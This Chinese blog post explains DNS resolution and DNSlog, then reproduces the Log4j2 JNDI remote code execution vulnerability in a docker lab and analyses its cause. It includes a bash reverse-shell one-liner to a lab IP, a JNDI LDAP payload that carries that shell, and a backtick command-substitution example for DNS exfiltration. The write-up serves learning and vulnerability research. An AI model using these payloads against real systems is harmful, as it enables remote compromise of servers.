DNS 服务
创建时间: December 14, 2021 6:18 PM
DNS
全称 Domain name server,域名服务器。
为什么使用域名
在互联网中,使用 IP 地址作为机器的绝对地址绝对行不通,且不说 47.116.45.13 这种 IP 地址非常的难以记忆。所以 DNS 协议应运而生,可以把比较好记忆的域名也就是字符串和一个难记忆的 IP 地址联系起来。
- IP 地址是定长的,而域名是变长,不利于计算机处理
- IP 地址比较难记忆,而域名便于记忆使用
什么是 DNS
是一种组织成域层次结构的计算机和网络服务命名系统,基于 TCP/IP 网络,提供把域名转化为 IP 地址的服务。
域的结构
命名采用层次结构的命名方法,为了保持唯一性。
根 -> 顶级域名 -> 二级域名 -> 三级域名 -> 四级域名
例如 www.baidu.com,其中 com 为顶级域名,类似的还有 cn,net,org 等,baidu 为二级域名,www 为三级域名。
概念
- 根域名服务器
根服务器主要用来管理互联网的主目录,最早是IPV4,全球只有13台(这13台IPv4根域名服务器名字分别为“A”至“M”),1个为主根服务器在美国,由美国互联网机构Network Solutions运作。其余12个均为辅根服务器,其中9个在美国,2个在欧洲(位于英国和瑞典),1个在亚洲(位于日本)。 [1-2]
在与现有IPv4根服务器体系架构充分兼容基础上,“雪人计划”于2016年在全球16个国家完成25台IPv6根服务器架设,事实上形成了13台原有根加25台IPv6根的新格局,为建立多边、民主、透明的国际互联网治理体系打下坚实基础。中国部署了其中的4台,由1台主根服务器和3台辅根服务器组成,打破了中国过去没有根服务器的困境。
- 顶级域名
分为通用域与国家域,由 ICANN 委托的注册机构负责运行,虽然现在已经有很多了,但是还数的过来。例如 com、net、org、top、icu 等。
- 二级域名
只需要到运行顶级域名的注册机构去申请并支付一小笔年费即可获得域名,一般来说是代注册的,也就是我们去阿里云买域名,实际上就是阿里云代替我们去做那些繁杂的手续,我们只管付钱就行。
- 三级和四级域名
这里就可以自己维护了,比如我注册了 lovey0u.com,我想做一个论坛和博客,那我就可以搞个 bbs.lovey0u.com 和 blog.lovey0u.com 。
DNS 解析原理
- 输入域名 www.lovey0u.com 后,先查找本地 hosts 文件,如果文件中没有则
- 查找主机对应的本地域名服务器,一般是你自己在 IPv4 或 IPv6 配置中填写的 DNS 服务器,本地域名服务器在自己的数据库和缓存中查找,找到则返回,没找到则
- 由本地域名服务器向根域名服务器查询,一般返回顶级域名服务器的地址。也就是根域名服务器不知道这个域名的 IP 地址是啥,但他知道顶级域名服务器(也就是 com)知道。
- 然后本地域名服务器再向顶级域名服务器发起查询,顶级域名服务器不知道 www.lovey0u.com 的地址,但他知道 lovey0u.com 的地址,所以返回了 lovey0u.com 的地址
- 最后本地域名服务器再向 lovey0u.com 的服务器查询 www.lovey0u.com 的地址,最终得到结果,随后本地域名服务器再把这个 IP 地址返回给我们的主机
- 我们的主机再向这个 IP 地址发起访问
DNSlog
从上面我们了解到,在进行二级域名,也就是权限域名服务器查询时是可控的,所有的记录都保存在日志文件中,所以我们可以在日志文件中找到查询和访问的地址。这里还需要了解一个知识点,就是在 Linux 中反引号括起来的字符串被 shell 解释为命令行,在执行时,shell 首先执行该命令行,并以它的标准输出结果取代整个反引号,也就是执行 ping
whoami.baidu.com
会变成 ping root.baidu.com
。而此处的 DNS 查询的日志将会记录在服务器中。
个人 DNSlog 平台搭建
由于这边 NS 记录生效时间过长,不再演示,下方复现使用第三方平台
搭建指南:https://github.com/BugScanTeam/DNSLog
Apache log4j 远程代码执行漏洞
简述
Apache Log4j2是一款优秀的Java日志框架,应用十分广泛,但由于某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞,且漏洞利用无需特殊配置。
影响版本
Apache Log4j 2.x < 2.15.0-rc2
复现
刚开始进入主页的样子,拉取的是 vulfocus 的 docker。
构造 POST 请求,触发漏洞
然后我们就可以在 dnslog 上查看情况
反弹 shell
bash -i >& /dev/tcp/192.168.29.133/1237 0>&1
即 payload=${jndi:ldap://192.168.29.133/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjI5LjEzMy8xMjM3IDA%252bJjE%253d}
使用 JDNIExploit 工具创建本地服务
使用 nc 开启监听
最后发送 POST 请求,可以看到这边反弹成功了
原理
通常在设计框架的过程中,我们会为了更好的扩展性去定义一些标准的接口,然后具体的实现往往是灵活动态的去加载的,这样做的好处就是框架有了非常好的扩展性,但却舍弃了一定的安全性。就像 JNDI SPI 就提供了 LDAP DNS RMI 等原生的接口来供我们调用。我们可以通过 JNDI 的 API 实现对 LDAP 的访问,做到了对目录服务访问的平台无关性,但这也带来了一定的安全隐患。
而本次的漏洞的成因则是 log4j 中的一些方法在对字符串进行解析时,如果字符串带有美元符号,则会触发他的一个语义解析,根据协议的不同,可能加载一些外部的类和命令,虽然他本身的安全机制已经对其做了一定的防范,但是我们还是可以通过一些其他的机制对他进行绕过。例如在高版本的 JDK 中,限制了 JNDI 对远程类的加载,但我们任然可以通过一些手段先把外部类加载到目标机器的 classpath 中,然后再对其进行实例化最后实现代码执行。
在上述反弹 shell 的过程中,我们用到了 JNDI 的注入利用工具,工具构造了自己的 ND 服务器,目标服务器解析命令后向我们的 ND 服务器发送请求,ND 服务器再返回我们自定义的指令到目标服务器上执行。
最后我们进行源码分析,因 Java 的这个日志体系非常复杂,调用链路太深,所以我们一般实用 debug 的方法去进行分析。
error - logIfEnable - logMessage - logMessageSafely - logMessageTrackRecursion - …..
从发现 $ 开始,log4j 就把这玩意儿当做了一个变量去解析,而我们指定了 JDNI 的一个协议,所以他就通过 JdniLookup 去对他进行一个解析。
若我们指定了 rmi 的一个协议,他在进行 socket 连接时,对外部类会做一个反序列化的操作,然后触发类的初始化,也就是通过 ObjectFactory 对指定路径的一个类加载(而属性 trustURLCodebase 则代表是否信任这个 URL,在高版本的 JDK 中,这个值默认为 false,但在很多线上的服务器中,为了生产环境的稳定,他们大多使用低版本的一个 JDK),那么他就会执行我们在静态代码块中的恶意指令,从而实现攻击。
发表评论